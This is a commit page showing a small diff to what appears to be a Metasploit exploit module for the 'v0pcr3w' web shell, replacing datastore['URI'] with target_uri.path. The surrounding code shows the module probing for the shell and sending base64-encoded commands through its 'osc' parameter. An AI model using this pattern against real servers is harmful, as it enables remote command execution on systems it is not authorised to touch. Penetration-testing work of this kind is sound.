Skip to content

Commit 5fc5a4f

Browse files
author
jvazquez-r7
committed
use target_uri
1 parent f29cfbf commit 5fc5a4f

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/multi/http/v0pcr3w_exec.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,7 +60,7 @@ def initialize(info={})
6060
def check
6161
shell = send_request_cgi({
6262
'method' => 'GET',
63-
'uri' => normalize_uri(datastore['URI']),
63+
'uri' => normalize_uri(target_uri.path.to_s),
6464
'vars_get' => {
6565
'lol' => '1'
6666
}
@@ -75,7 +75,7 @@ def http_send_command(cmd)
7575
p = Rex::Text.encode_base64(cmd)
7676
res = send_request_cgi({
7777
'method' => 'GET',
78-
'uri' => normalize_uri(datastore['URI']),
78+
'uri' => normalize_uri(target_uri.path.to_s),
7979
'vars_get' => {
8080
'osc' => p
8181
}

0 commit comments

Comments
 (0)